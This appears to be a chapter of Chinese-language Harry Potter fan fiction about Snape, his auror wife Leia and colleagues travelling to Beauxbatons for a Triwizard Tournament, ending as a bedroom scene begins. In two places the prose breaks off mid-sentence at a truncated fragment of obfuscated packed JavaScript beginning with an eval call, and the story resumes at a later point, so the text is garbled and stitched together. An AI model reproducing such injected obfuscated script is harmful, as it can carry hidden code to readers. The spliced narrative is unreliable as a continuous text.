“有任何需要,给我们写信。”邓布利多正眼镜,湛蓝色的眼睛又看向斯内普身侧的蕾雅和汉密尔顿:“也拜托你们了,汉密尔顿副主任,还有诸位傲罗,请多加小心。”说到这里,他掂了掂花白的胡须,和悦的眼神落到蕾雅身上,后者不自在地笑了笑。 “感谢您对我们的关照,邓布利多校长。”汉密尔顿面露感激地说,他与斯威克主任摆了摆手道别。 斯内普转过身,眼角余光掠过他因繁忙而已有数日未能亲见的妻子。不过,跟蕾雅所想的一样,他始终不会在这种场合浮现出一丁点私人情感,仅是不带感情地开口:“上车吧。” 车里开足了暖气,不仅驱散开衣物上的湿气,也将此时学生们的欢声笑语烘得更加热烈。蕾雅和汉密尔顿率先进入紧挨车头的一间包厢,安置好行李箱后面对面坐下。 不久,所有的车门都被严丝合缝地关上。斯内普依旧站在车门侧片刻,等待麦格最后检查一遍列车的防护咒语。之后,他转身朝车头低声说了几句,才拉开包厢滑门走入。 他将自己的行李箱送到架上,紧挨着她的,脱下沾满潮湿的旅行斗篷,挂在隔板的挂衣钩。抽回的手腕一抖,起皱的黑袍便顺势平直落下。他缓步迈到蕾雅那侧,而正忙着取出纸袋中食物放于桌上的人儿并没有过多在意他,只下意识地往里挪了挪,于是斯内普也一脸自然地坐到她的旁边。 紧接着,一声仰天的轰鸣划破苏格兰高地灰蒙的晨雾,巨大的车轮缓缓滚动,告别站台挥手的众人,向着法国的方向前进。 列车沿着望不到头的铁轨驶出山谷,轰隆的震颤声变得越来越规律。蕾雅很快习惯过来这份节奏,渐渐沉浸在翻阅的资料中,努力不让自己陷入瞌睡。斯内普撇向她手上那份写有“埃文·罗齐尔”名字的档案,啜饮一口车上送来的咖啡,向对面不时关注他们的汉密尔顿打了个不算热情的正式招呼。 “我们似乎一直没有机会真正交谈。”斯内普注视着这位比雷格纳还要年长些的傲罗,语气平直而克制:“西弗勒斯·莱恩哈特·斯内普。” “艾里克·汉密尔顿,”中年傲罗一只手捧着暖咖啡,微微前倾,作出回应:“实不相瞒,我以前常听阿拉斯托提到您。没想过会以这种方式与您合作。” 斯内普的嘴唇卷曲一下,不咸不淡地道:“想来,他对我的评价不会太正面。” “我的这位老朋友,总是习惯性地怀疑一切。”汉密尔顿少有地扯出一个颇具苦涩意味的笑。 “是在说穆迪先生吗?原来汉密尔顿副主任与他很亲近?”蕾雅慢慢地抬起头。 “是的,疯眼汉阿拉斯托·穆迪,我们曾经很相熟。”汉密尔顿往后靠在椅背,眼神移到窗边。平日严厉紧绷的面庞因为怀念的思绪和缓不少,“他曾是我们最强、最有经验的傲罗。只可惜……那次护送哈利的事。我听说,校长您当时也在现场?蕾雅应该是没有参与那一次的行动吧?” “什么行动?”蕾雅抬手别好耳畔滑落的碎发,来回打量着二人,“还有我不知道的事?” “你不知道的事还多着,”斯内普揶揄她,但眸光一沉,脸色也渐渐变得昏暗,与窗外逐渐晴朗的天空骤然不同,“穆迪死在了那次凤凰社转移波特的行动,就在我救你父亲之前不久。” “是这样啊……”蕾雅错愕地张了张嘴,胸口在瞬隐隐收紧。 只听着他的只言片语,她已能想起他痛苦出现在她家门前的夜晚,想起那段无望年月里斯内普可能经历过更多的种种。最终,她选择安静地低下头,再度凝视手上那份由穆迪撰写的罗齐尔家族报告,不再打算插话。 她的情绪还是传递给了他。斯内普慢慢垂下手,搁在她的腿侧,以指背轻轻触碰着她。而后,他才低沉地回答汉密尔顿的前一个问题:“不错,我在那里,亲眼看到伏地魔追赶在他身后,因为伏地魔以为波特会由最强的傲罗护送。……据我所知,他奋战到了最后一刻,还击落了数名食死徒。” 他记得那天的视野很差,那一次的行动危险至极。他不仅在迷茫的夜色中眼睁睁看着伏地魔追向穆迪,自己全然无能为力,而且,为了救下被索命咒瞄准的莱姆斯·卢平,他不得不误伤到乔治·韦斯莱,只幸好蕾雅曾在无意中将神锋无影的反咒透露给哈利·波特。 想到这里,斯内普忽而开始后知后觉地感到庆幸。庆幸当时的蕾雅·莱恩哈特不必像赫敏·格兰杰、罗恩·韦斯莱那样,被卷入邓布利多和凤凰社贸然的行动中,而是始终处在他所能及的地方。 此刻,沉默许久的汉密尔顿终是叹了一口气,这也拉回了斯内普的思绪。“本已是退休之人,他却还是战斗到了最后一刻。” “诚然。”斯内普不再看汉密尔顿,顺手把余下的咖啡递给身边人,自己则从口袋里拿出一本随身携带的书。 汉密尔顿以很细微的幅度抬起下颚,他的眼中正映出玻璃外连绵不断的山脊线,“第一场赛事,在万圣节后,对吗?” “是。”斯内普摊平之前做了记号的书页,“希望到那为止,一切无恙。” 一幕幕自然风光如同幻象般不断移动至窗后,火车宛如一头不知疲倦的巨兽,继续往前驰骋。德拉科送的零食慢慢见空,三人断断续续地讨论着凤凰社和接下来的三强争霸赛,时不时也陷入各自安静的阅读与沉思。四个小时后,列车稳稳驶出大不列颠岛,蕾雅揉了揉感到疲乏的眼眶,猛地望见大片被午后艳阳映照得璀璨的海,是英吉利海峡。 吃过午饭的三明治,就又到了巡逻检查的时间。 蕾雅和汉密尔顿从车头这一侧出发,一直巡查至中段,沿途都不再有兴奋的谈笑声,原是大部分的学生都沉进浅眠。长途的旅程总是如此,如果不是有要务在身,她估计自己也会跟这些学生没有什么区别。 外面的景色却是越来越明媚,灿烂的金辉穿透低垂的云层,洒落在包厢长椅,长久停驻在学生们黑色的霍格沃茨外袍上。蕾雅挥动魔杖,替他们掩住一侧的窗帘,不想过多的阳光吵醒这些孩子。 检查完最后的包厢,汉密尔顿和从中间过来的弗洛拉和埃文斯交换,话毕,他用魔杖指了指通往车顶的维修用爬梯,“我们上去检查魔法屏障的情况吧,都注意安全,别被风吹下去。” 蕾雅用手腕的发绳束起散落的头发,迅速爬上梯子。 急速的风流带来迎面的咸湿炽热,黑色的车厢顶被太阳炙烤得滚烫。她站稳脚,视野豁然开阔——那是无限延展至地平线尽头的蓝海,偶尔有往南迁徙的成群候鸟展翅滑翔,擦过天边的低云,消失在视野看不到的地方。 而真正令她吃惊的是,前方再没有任何的铁轨,霍格沃茨特快竟然直接滑行在大海波涛之上,宛如一艘穿过无人之境的鲜红巨轮,兀自破开碎金般粼粼的海水。一波波撞击在车轮的浪卷被碾得破碎,白色水雾顿时四散弥漫,十分波澜壮阔。 “太壮观了,这就是魔法列车吗?”随后登上车顶弗洛拉叉着腰,朝前面的埃文斯和蕾雅感叹道,“原来霍格沃茨特快没有铁轨也能行驶啊?” “据说这辆车本来就不依赖铁轨。”最后一个登顶的汉密尔顿眯起眼,眺望至行进方向的最远,四周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不过,斯内普不会理会她的期待,只冷冰冰地答复:“不需要,那是一套独特的挑选方式,与你是否提前准备无关。” “哦……”她听起来有些失望,停顿片刻后又道:“好吧,我明白了,校长。但我还是会保持努力的。” “回你的包厢,克罗菲尔顿小姐。”斯内普的语调不带任何起伏,“别再让我看见你在车厢内闲逛。” “好的……”女生应下,正当蕾雅和汉密尔顿准备下去时,却又听见她极小声地呢喃一句:“那到了法国,我有些学习的问题,还能再来找您吗?” 斯内普没有立即作答,似乎是在思考,但再开口时很明显夹杂一些冷冽的刻薄:“可以。但我希望你是真的把心思放在知识,而不是在期待一些无关紧要的事。” 那位学生的脚步远去了,但车顶上的两人却像是被冰封般木讷半晌。汉密尔顿清了清嗓子,很是尴尬,似乎没想过自己会撞见这样的一幕。蕾雅则不得不用手背揉搓脸颊回神,觉得被蒸汽白烟和烈风刮得有些恍惚。 “看来,斯内普校长比我想象的还要有影响力。”汉密尔顿罕见地说了句玩笑话,让蕾雅才意识到,这位上司原不是他们平时想象中的那样古板,可能只是不擅长言笑。 她下意识顺带摸了摸鼻尖,随口应道:“战后就一直都这样,他可困扰了。” “毕竟是个擅长伪装自己的好人。”汉密尔顿简洁地评价到,“难道不是吗?” “完全准确,您看人真的很准。”蕾雅笑道。 “两位,偷听得还愉快吗?”斯内普强硬地加入他们的对话。他背靠着打开的车窗,仰起半张阴沉的脸,嘴唇变成讥嘲的弧度:“检查完了就赶紧下来,我假设你们不会打算一路坐在车顶抵达布斯巴顿。” 蕾雅扶稳护栏,朝车窗的位置低头,映入眼帘的是他随风拂动的半长黑发,以及正好被暖光勾勒的眉眼。那黑眸之底沉落着只有她能看见的柔和,如同藏在宇宙至深最不显眼的星光。 她的心中蓦地铺开一阵不加掩饰的钟爱,弯弯的浅笑随之浮在唇边,“才不是故意要偷听,我们这就下去。” 斯内普正倚在爬梯旁的隔板,手握刚才的书,面无表情地注视谨慎爬下梯架的二人。 “我先回包厢,你们不用在意我。”汉密尔顿摆了摆手,径直往前拉开包厢门,似乎是想留点空间给这对夫妻。 走廊上再度只剩列车行进的噪音。蕾雅随手施了几个原形立现,见到没有异样,便轻快地扯掉发绳,边用手指梳开头发边笑着问这位男巫:“你怎么也出来了?” “起来走走。”黑发巫师淡淡地说,伸手将她拉入这个背光的角落。他低头望进她仍旧清亮的眼眸,几乎是不可自抑地,指尖缓缓穿过她的发梢,理顺她后颈处翘起的几缕头发,“上面感觉不错?” “特别好,你想上去看看吗?我陪你?”她任他的手指穿梭在她的发间,轻柔地捏了下男人的小臂。 “不用,我能想象。”说完,他就望见从另一侧走来的几位傲罗,旋即松开他的爱人,重新埋首于那本书,“而且,你该去忙了。” …… 这辆列车一路穿越群山、岛屿和大海,驶向最后的目的地——法国的比利牛斯山脉。他们从白昼跨越到黑夜,霍格沃茨特快最终在布斯巴顿魔法学院毗邻湖泊的广阔草坪上停下。踏出车厢的一刻,蕾雅注意到很多人脸上都挂着旅途劳顿后的倦容。 这里的夜晚不如霍格沃茨的寒凉,仍带有秋末的清爽,空气里满是花香,分外温柔。远处,随着夜风翻动的旗帜上绣着布斯巴顿的校徽,两根金光四溢交叉的十字魔杖。然而,在令一切轮廓不清的夜霭微光之下,布斯巴顿魔法学校的城堡却宛如一座灯火粲然的宫殿,到处都是华丽的雕刻与绽出的宝石绚丽。那些由纯白大理石砌成的外墙,即使在黑夜之中,也闪烁着熠熠耀眼的辉光。 他们穿过草坪,布斯巴顿的学生们早已整齐地聚集在由魔法维持的四季花圃前,等待远方的来客。正如五年以前,蕾雅他们以同样的姿态等在霍格沃茨门厅外那样。 不同的是,这些身穿浅蓝色长袍的布斯巴顿的学生们比他们有礼多了。在看见他们的顷刻,便纷纷摘下帽子,按在心口,左脚向后半步深深鞠躬,这是布斯巴顿传统的庄重礼仪。 “让您久等了。”斯内普快步走向站在最前面的高大女士,稍稍倾身,向她行了一个正式礼,“马克西姆女士。” “好久不见,斯内普校长。”布斯巴顿魔法学院的奥林·马克西姆女士迎接上前,她湛蓝色的天鹅绒斗篷在夜色中泛起柔和的光泽,优雅得一如面上如温水平缓的笑容:“不晚,你们时间刚好。快请进吧,维克托·斯塔克洛夫校长已经到了,正等各位共进欢迎晚宴。学生们肯定都累坏了,还要宣布规则呢。” “那就恕我们从命。”斯内普回到,随后让纳威先带领学生们跟随布斯巴顿的引路人进入布斯巴顿的大礼堂。 等场上的人都散得差不多,他望了一眼刚好到达台阶的蕾雅和汉密尔顿,稍微侧身,对马克西姆女士沉声道:“请原谅,这次除了带队的我本人,还有随行的一位助教,负责准备赛事的海格先生,以及为这次事件防范的英国傲罗们。其中——”他稍作停顿。 “这位是英国魔法部现任傲罗副主任,艾里克·汉密尔顿。”斯内普介绍道,汉密尔顿点头示意。斯内普一顿,转向汉密尔顿身后的年轻傲罗,语调不变道:“另外,想必您也有所耳闻——我的夫人,同时也是这次协助的傲罗之一。虽然我本无意现在公开我们的关系,但考虑到可能的必要情况,我认为应当提前告知您,以便协调安排。” “您好,马克西姆女士,我是蕾雅·莱恩哈特·斯内普,这段时间有劳您的照顾。”她大方而正式地向前一步,与面色愉快的高大女士握手。 99.同行 晚餐是由布斯巴顿家养小精灵准备的隆重法餐,南瓜浓汤、龙虾沙拉、香料烤鸭胸、小牛肋排……搭配手工特制的奶酪和微甜的泡泡餐后酒。 马克西姆女士特意邀请了一队盛装的乐师。如比利牛斯山涧流水的管弦乐声,敲打在每一块石砖,令在场的来访学生不自觉变得拘谨,言谈间少有地透着难得的礼节。 当然了,环境的影响也是不可小觑的。他们所置身的,正是尽显法国奢华风格的宏伟大厅。高耸的十字拱券被漆成一道道流动的黄金,屋顶是一幅幅不时变幻的魔法壁画,讲述着那些古老的魔法传说——仙女、国王、湖中巫师、战火纷飞和辉煌的胜利。 两侧嵌着金线纹饰的玫瑰窗玻璃,在夜色里散发出玲珑的溢彩。无数摇曳的光点倾泻而下,悬浮在礼堂高空,衬得底下的丰肴与万圣节南瓜也绽出缤纷梦幻之色。 不同于霍格沃茨传统的分院制,布斯巴顿实行的是按个人兴趣领域选择主教官的分组制。每个学年结束,学生可以依据自己钻研的领域调整指导的教授,从而更换所属的分组。这样的体系也令布斯巴顿的大礼堂不会像霍格沃茨那样,有长长的四张桌子。取而代之的是灵活分布的圆桌,这些铺着湛蓝色桌布的桌子,会根据人数自动调节大小和食物的分量。 法国魔法部派来的主裁判团在晚宴前就抵达了。此时,英法两国的傲罗们分散到礼堂的各个角落,边聆听马克西姆女士公布三强争霸赛的事项,边用完晚膳。 音乐声渐弱,蕾雅忙着擦嘴的时候,马克西姆女士结束了讲话。她折好餐巾摆在瓷碟边,就眺望到高大的女士正举起那座用于报名的木头高脚杯。杯中欢快的蓝火噼啪跳动,映出周围学生们满脸的期待和欲欲想试的兴奋。 规则与之前在霍格沃茨举办时无甚差别,依然是相同的奖金,相同的三个项目,相同的二十四小时报名时间,以及严格设下的年龄线。 安顿好三个学校的学生,傲罗们纷纷聚集到即将放置火焰杯的门厅。三位校长依此施下比之前更多的检测和防护的咒语。 德姆斯特朗的维克托·斯塔克洛夫校长收起魔杖,继而双手背到身后绕开,为斯内普腾出施咒地位置,一双蓝灰色的眼睛来回审视着场上围观的人,“我没想到,这次会有这么多辅助的傲罗。” 他英语发音极为标准,声音嗓音浑厚。那身暗褐色的大氅让他透出一股沉重而凶狠的气场,仿佛是一头来自深林的棕熊。这个人的存在,让蕾雅很难不联想到那些最黑暗时期里,森严而疏离的斯内普。这么一思索,她短暂地碰上对面斯内普的眼神。 斯内普右手垂下刚施过咒语的魔杖,面上非常平静地扬了扬下颌,回答到:“毕竟霍格沃茨那次是前车之鉴。” 斯塔克洛夫冷硬的面庞浮出一抹冷淡的笑意,“可惜,当时是连阿不思·邓布利多都察觉不出来的异端,只希望我们这一代能做得更好。”他说完,意味不明地看了眼斯内普,随后跟马克西姆女士告别:“那么,我先回船上了。” 马克西姆女士恭敬友好地目送他离开。直到魁梧的身形消失在门外,她叹一口气,回头对众人说:“好了,我们趁现在到后面的教室开个会吧。” 除了两位留守火焰杯的法国傲罗外,所有人跟随她拐入长廊,步入第一间教室。马克西姆女士挥动魔杖,课桌整齐地排成一张大会议桌。 详述的会议大概持续了半个小时。之后,汉密尔顿和法国的负责人杜兰花了些时间,制定出接下来傲罗们值守、巡逻的安排。 直到现在,蕾雅才知道,原来英法两国魔法部接下来的计划,都并未告诉德姆斯特朗。表面上,他们只佯装这些布置是为了防止像从前一次那样,所以,马克西姆女士刚才会那样松一口气。 蕾雅捏着随身携带的小笔记本和钢笔,不由地咬着笔帽无端猜想起来,也许是因为计划越少人知道越好,又或者是——笔尖在纸上悬空,她看向面色凝重的马克西姆女士。 这位女士自始而终也没有告诉两国,布斯巴顿魔法学校的地下到底存放着什么。 只是,两国的魔法部都没有追问,包括斯内普校长。 …… 朦胧的天光从窗边挤入床幔的缝隙,停留在她的枕头边。 这种预示清晨到来的浅淡光影,变化很微妙,以至于一般人几乎不会为此留意。但身为傲罗的她,身体很自然地形成对时间的条件反射,在光线黯然晃动的瞬间就随之苏醒了。 没有开灯,她昨夜是故意把床幔留开一条缝隙的。借着微光看了眼腕表,她熟练地钻出男人的怀抱,摸索着分开暗绿的帷幔,坐起在床沿。只是双脚刚触到厚厚的地毯,准备换衣服的须臾,房间里却慢慢亮起柔黄的烛光。 一条手臂横过她的腰间,扯下她松松垮垮的睡衣,而后,有股温热贴在她的肩膀,是他。 “早。”嗓音还带有晨起的慵懒。 她回头,对上男人迷雾般的黑眸,抬手抚了抚他有些干燥的嘴唇:“吵醒你了?” “没有,”斯内普揉着太阳穴下了床,掂起搭在矮椅上的羊毛薄衫递给她,“我也去。” “你也去吗?你再睡会儿嘛,昨天开会弄到这么晚。”她咕哝着套上羊毛衫,起身开始穿裤子。 “不用,”斯内普答道,已经自顾自地在换衬衫,“而且,我们是一起开的会。”会后,两个舟车劳顿的人倒头就睡了。 她一贯是不能拗过一旦认定目标,就不会轻易改变的男巫。一同洗漱完毕,蕾雅只好无奈将桌边的法式面包分他一半。 粗略垫过肚子,两个人就从各自的包厢门钻进霍格沃茨特快的过道——托德拉科的贴心,这两间从外面看上去是分开的包厢,实际上内部隔墙只是个虚景,本质是一个连在一起的大房间。 布斯巴顿仍浸在灰蒙蒙的晨雾,连昨夜盛开得灿烂的四季花圃,都是被覆上一层黯淡的薄膜,高塔的轮廓隐去,到处都是看不真切的仙境幻象。 她的马丁靴踩在被露水浸透的草坪,发出细碎潮湿的声响。柔软的泥土往下凹陷,配合着不远处起伏的喷泉水声,整个世界都湿漉漉的一片。 年轻的傲罗不由自主地拢紧隔绝湿气的斗篷,刚走出几步,就感到本来在后面的斯内普悄然离得更近,两人几乎是贴着手臂而行。于是,她轻轻开口,向他搭话:“你觉得这次霍格沃茨的代表会是谁?” “只要不再出现‘第四人’,对我来说都一样。”斯内普平淡地答复她,“不过,米勒娃他们倒是认为,会是拉文克劳的安妮·克罗菲尔顿,或者赫奇帕奇的安布罗斯·瓦恩霍姆。” 某个名字的出现让蕾雅的脚步一滞,她蓦地转过头,略显惊讶地望向男人:“克罗菲尔顿?……就是列车上的那个?她很……厉害?” 斯内普被她这举动引得挑起眉毛,没有拆穿她,只语气不变地说:“出身拉文克劳,古怪又无谓的想法很多,成绩倒算优秀,让教授们想到曾经的格兰杰。” “这样啊,”蕾雅舔了舔嘴唇,很是讶异斯内普会给出如此不算低的评价。这一刻,她控制不住地开始琢磨那个女生的模样,想象着她昨天与斯内普搭话的样子,想着她对他的笑容,不知道为什么,思路忽而顺沿着向更远的地方发散出去——她想起了跟她一起听这些事的汉密尔顿副主任,想起……车上斯内普提到的那些她不知道的事。 她晃晃脑袋,赶走这些荒谬想法,强装镇定地打趣:“……好吧,很明显,她还有勇气的特质。” 她并未察觉,这句话听着闷闷的。斯内普因此而侧眸瞄向她,嘴角弯起一个若有似无的弧度,一本正经应道:“显然。” “嗯。”蕾雅低下头,不再说话,以余光追随着他袍角摆动的轨迹,穿行于石板小路。 然而,就在他们即将踏入那恢宏的建筑时,他忽然放慢脚步,伸手拽住她的斗篷,迫使她停下。 蕾雅怔了怔,转身就看见斯内普上前一步,直截了当地说:“好了,我知道你在想什么。” “你想让我说得更清楚些,不是吗?我已经做过选择了,蕾雅。”他直视她,幽深的黑色瞳仁浸满如露水密集的情绪,低沉的话音却裹了点柔和,仿佛在故意暗示她去揣测言外之意。 “你这是在说什么呀……西弗?”蕾雅瞪圆眼睛,迅速朝门厅探身,确认那位站岗的傲罗应该听不见他们的谈话。收回目光,她的话音含有断断续续的迟疑:“……我才不是在想那种无所谓的事。” “哦?”斯内普轻微笑了笑,如往常般调侃自己的妻子:“敢向我保证,你没在考虑任何‘无所谓的事’吗?”他故意加重了“无所谓”的字音。 “好啦,真的不是。”她反而被他逗笑,用了捏按他垂下的手腕,诚实解释道:“我是想到了你早上跟汉密尔顿副主任谈到的一些事,但我知道你不会想说,所以……” 现在轮到斯内普略感意外地回望她。映着晨光与城堡烛火的绿眸里有无尽的温柔和包容,那是面对他的事时,她会不自觉露出的神色。 所以只用了很短的几秒,斯内普大概已明了她的心思。哽了哽喉咙,他垂下的手反握住她的,低声说道:“如果你真的想听,我会慢慢告诉你。” “当然想。”蕾雅果断地说,一个期待的明媚暖笑撞入男人的视野,“我想听关于你的所有,西弗勒斯。” 雾气消散,门厅的大理石地板被玫瑰窗透下的光晕染得幻美,他们踩踏着碎光踱到火焰杯旁,换下守夜的法国傲罗。不多时,从身后传来一阵脚步声,回过身,见到前来和蕾雅值守的莫尔·诺克斯,以及显然是准备报名的安妮·克罗菲尔顿。 “斯内普校长……?真巧,又见到您了,早上好。” 蕾雅看清楚了克罗菲尔顿的样子。 她是个美丽又张扬的拉文克劳,一头金发高高束起,随着她的走动,宛如窗外流入室内的明媚阳光。她浅棕眼睛盛满笑意,眉眼间带着拉文克劳学生特有的聪敏自信,轻快上扬的音色是恰到好处的亲近。 她注意到斯内普身边的傲罗:“这位是我们的傲罗小姐?我好像在学校见过你?” 蕾雅回她一个友好的表情:“早安,克罗菲尔顿小姐。我是蕾雅·莱恩哈特,应该只比你大三届,叫我蕾雅就好。你是来报名的吗?” 女孩的眼眸变亮一瞬,她随手拨弄着蓝色的领带,没有保留地感叹到:“你就是莱恩哈特学姐!我们都听过你和隆巴顿助教带领霍格沃茨军的事。”旋即,女孩的目光悄悄斜向那边的斯内普,神色漫上几分认真诚恳:“嗯,我是来报名的。” “既然如此,别在这里浪费时间,克洛菲尔顿小姐。”斯内普校长悄无声息地移开原本对着妻子方向的视线,冷冷地催促,面色阴郁得像块河底无光的黑石。 “是啊,马上就是早餐的时间了。”一旁的莫尔附和着应声,走到蕾雅的身边,两人交换一句简短的早安。 火焰杯的值守一直持续到中午,是贾斯廷和埃文斯交接他们。 蕾雅和莫尔粗略地听着贾斯廷谈之前来这里上学的经历,随后到为傲罗们准备的临时工作间略作修整,吃小精灵们送来的午饭。等喝完提神的黑咖啡,她们便又出发到校园四处巡逻。 布斯巴顿的校园并不比霍格沃茨更大,许多细节却花尽考究的心思,整体宛若被雕琢得完美的艺术品,小巧精致。 沿着学生们上草药课的水晶玻璃房一路到达山边,下了被鲜花簇拥的平缓山路,踩着布满青苔的石板跨过一道潺潺流淌的小溪,就能望见后山延绵无尽的繁茂古树林。 狭长的小径蜿蜒,通往被枝叶覆盖的森林深处。也不同霍格沃茨幽暗阴森的禁林,这里的树林干爽明净,深秋枯黄的蕨类植物和常青木交错生长,残留的树脂被午阳晒得融化,沿着老旧树皮的沟壑一点点滑落,散发出一阵清新醇厚的树木熏香。 远远地,她们就望到霍格沃茨带来的最后的一节列车静静停在林间,已褪去隐形咒语的庇护,金属外壳煞是醒目——那里正传来粗重的叫喊:“小心点,安布罗斯——别碰它的爪子!等等,等等——抓住它!别让它跑出去!” 蕾雅与莫尔对视一眼,几乎同时加快步伐,跑向车厢。刚一抽出魔杖,只听见“砰”的巨响,暗红色的车门被猛地弹开,一团毛茸茸圆滚滚的灰白色迎面扑了过来。 凭借训练的反应,蕾雅反手扔了一个用于减速的漂浮咒,才发现,原是一只浑圆蓬松的蒲绒绒。 莫尔拨了拨头发,扯出一个没忍住的轻笑。蕾雅则松了一口气,解除了漂浮咒,将小东西搂在怀里。蒲绒绒被她摸得发出咕噜咕噜的声音,抖了抖那身暖呼呼、令人舒心的毛,“海格先生?”蕾雅在这阵纷飞的白羽中向车厢内探头。 “这里怎么回事,海格先生?”莫尔礼貌性地敲了敲车门。 “哎哟,蕾雅?莫尔也在?你们直接进来吧!”海格的声音从车厢深处飘来,紧接着,一道黑色的身影冲出——牙牙摇晃着短尾巴拱了拱蕾雅,大概是热情地认出她。 “牙牙!”蕾雅稳住蒲绒绒,空出一只手揉按黑狗的大脑袋,“我都不知道你来法国了?” 牙牙的后方,却是吵吵闹闹、鸡飞狗跳的景象。展翅嚎叫的雷鸟、相互琢闹的球遁鸟、快速滑行的月痴兽、站得稍远如同一尊守卫的鹰头马身有翼兽,在护栏里横冲直撞海格的炸尾螺……还有几只蕾雅叫不上名字的,都正围着一个顶着乱糟糟亚麻色卷发的赫奇帕奇男孩,争抢他手中没来得及扔出去的小鱼。 “快锁上门!别再让它们跑了!”海格指挥着走在最后的莫尔关门。 同样是被施展过无痕伸展咒的车厢,内部却比他们所在的车厢夸张得多。右手边,靠近入口的一小块地方被改造成类似守林人小屋的布局,她们从敞开的木门瞥见一张正对火炉的大床,旁边堆放各类工具箱、杂物、网兜、绳索。屋外的墙边,排满饲喂的木桶,几个装满饲料的麻袋和一箱尚未剥皮的动物尸体。 再放眼望去,这里简直是一个五光十色的奇幻世界,每一个被清晰划分的区域都是不同的神奇动物栖息地。葱郁森林,低矮草地,湖泊海洋,热辣沙漠,种种场景十分奇异地交缠在视网膜上。蕾雅甚至看见最远的地方,有一座被密布的黑云包裹、不断喷涌着炎流的火山。 “安布罗斯,快把鱼扔出去!这样他们就不会追着你了!”海格毛毛躁躁地嚷道,实在看不过去了,迈着沉重的步伐跑过去,顺手接过男孩手中的桶。 “安布罗斯?”蕾雅抚平怀中舒适得缩成一坨的蒲绒绒,边摸着矗在她脚边的牙牙,疑惑地朝垂头丧气的赫奇帕奇男生喊道:“你是安布罗斯·瓦恩霍姆?” 那个男生闻声一怔,一只撞在他屁股上的月痴兽趁机歪过头,抢走他手中的小鱼,之后越发亲昵地追在他的身侧。他无奈地带着小动物走来,腼腆地摸着后脑勺笑开,脸上的褐色雀斑衬得他的笑容憨厚可爱,“……您认识我?” 这时,莫尔一样迷惑地向蕾雅投去询问的目光。蕾雅干脆坦白:“是早上听斯内普校长提起过安布罗斯。”她顿了顿,注意到男孩mian''ce还沾着几片闪闪发光的鱼鳞,不禁指向自己面侧同样的位置:“先擦一擦脸,安布罗斯。……你已经报名参加三强争霸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他高大的身影格外显眼,从树上筛落的点点光斑烙在他翻毛的大氅,搭配那一身的凌厉威压,恰似某种在林中伺机而动的大型野兽。 “哦,英国的傲罗们。”轻微晃动的宽大衣袍拖曳在落叶上,枯枝被踩出沙沙的声音,“这是在巡逻?” “你先去报名吧,安布罗斯,午休快结束了。”蕾雅对赫奇帕奇的男生嘱咐着,送他离开。莫尔则朝斯塔克洛夫校长颔首,回答:“是的,我是诺克斯,这位是我的搭档莱恩哈特。” “您好,斯塔克洛夫校长。”蕾雅保持得体的微笑,“您是在散步吗?还是跟我们一样在巡逻?” 斯塔克洛夫背着手,浓眉紧压的蓝灰色眼睛定定望着她们,“都算是吧,学生们准备去上课了,我正好听马克西姆女士说第一场赛事的准备在后山,于是来看看。……另外,”说着,他阴沉的脸上铺开一个古怪难明的表情,“我确实也很好奇,为何今年会有这么多傲罗在这儿?我印象中,英国魔法部并不是这样的谨慎作风。” 莫尔敏锐地嗅到这位校长言下的试探意味,便按照开会时汉密尔顿所准备的措辞,不疾不徐地回答:“这次是魔法部特意加强了安保,为了确保不会重蹈覆辙。毕竟上次……实在是太严重了。” 他沉默片刻,从鼻腔挤出微不可察的一声嗤音,“那就希望一切如我们所愿的顺利。”话音未落,他一扬衣袍,摆了摆手,再次迈开步伐,消失于树荫斑驳的林道。 当晚,布斯巴顿礼堂里的南瓜灯闪烁不停,火焰杯没有例外地选出三位勇士。 今夜不是她值班,蕾雅在万圣节晚宴后就一个人先回房间休息。 斯内普似乎是在她下午巡逻的时候回来过,木质的办公桌上摊放他处理一半的事物。是几封信件,他在列车上看的书《失落的魔法:被遗忘的咒语与秘术》,和明显是刚开始修订的《高级魔药学》。 桌角上,一个黄铜封蜡印章勾走她的注意力,她好奇地拾起,发现底部的花纹竟然是跟她送给他的袖扣一模一样——印有“L·S”的字样,代表莱恩哈特·斯内普。 她兀自笑笑,明白这是男人新定制的属于他们家的印章。 怀抱着这份心底渗出的满足暖意,她在偌大的浴室泡了个舒心的热水澡,终于感到能卸下从昨日到现在积攒的漫长劳累。 换上贴身的纯棉睡衣,她披着一件羊毛开衫坐回桌前,依照之前在霍格沃茨帮忙的经验,仔细整理他留在教材上的笔记。 房间内只回荡着烛火跃动和羽毛笔蹭过纸面的摩挲声。单调而规律的节奏宛若被某种安稳的伴奏催眠,令她感到无法抗拒的困倦。在羽毛笔滴落的墨水破坏成果前,她及时搁下,揉了揉眼,决定钻进松软的四柱床,睡着等他。 也许没过多久,耳边捕捉到细微的开门声。 她不满地缩进被窝,抱紧温暖的软被,试图重新沉回甜梦,却又闻见从浴室传来的水声,沐浴露的香味萦绕在房内。再而后,是烛火被熄灭的烟味,轻易困扰她的嗅觉。 床垫沉下去一些,男人的气息毫无保留地侵染她。 “蕾雅。”优雅的低音自黑暗响起,暖热的大手覆在她的额上,“放开被子。” 睡在里侧的人朝声音方向本能地转过去,听话地松开裹紧的羽毛被。 男人掀开被子,贴着妻子的身侧躺下。她微微一动,紧闭着眼稍稍抬头。他轻笑了下,一条胳膊穿过她的后颈,紧紧环住她。就像往常的每一个夜晚——每一个共同入睡的夜晚。 “西弗勒斯……”她侧过身,在半昏半睡的沉浮里唤他。 “我在,”他轻声回应,掌心抵在她的肩骨,“睡吧。” 道出的话语是冷静克制的,可当她温软的身体往他凑近、于他耳畔说出“我想你”的须臾,那搭在她后肩的手顷刻一顿,径自移至她的下颚。 ——他悄然翻身,将唇压在她的嘴上。 仍处于昏沉迷糊的她,亲吻起来比平时更加难以抗拒。恍惚之间,他高傲的鼻梁骨已蹭过她的耳廓,吻在那片脆弱的地方。滑下的指尖触到柔软的织物——是她的睡衣背心,正随着她微颤的呼吸稍稍起伏。 一个接一个的吻往下延伸,配套的短睡裤是跟上衣同样轻薄的材质,触感十分柔润,像她。 似是不能再承受更多,她挣扎一下,抵抗般捉住他的手腕,唇边漏出夹杂啜泣的细响:“西弗……” “嗯?”他腾出来另一只手,果然摸到她眼底沾染的一点湿润。他退离一点,像是在等待她的拒绝。 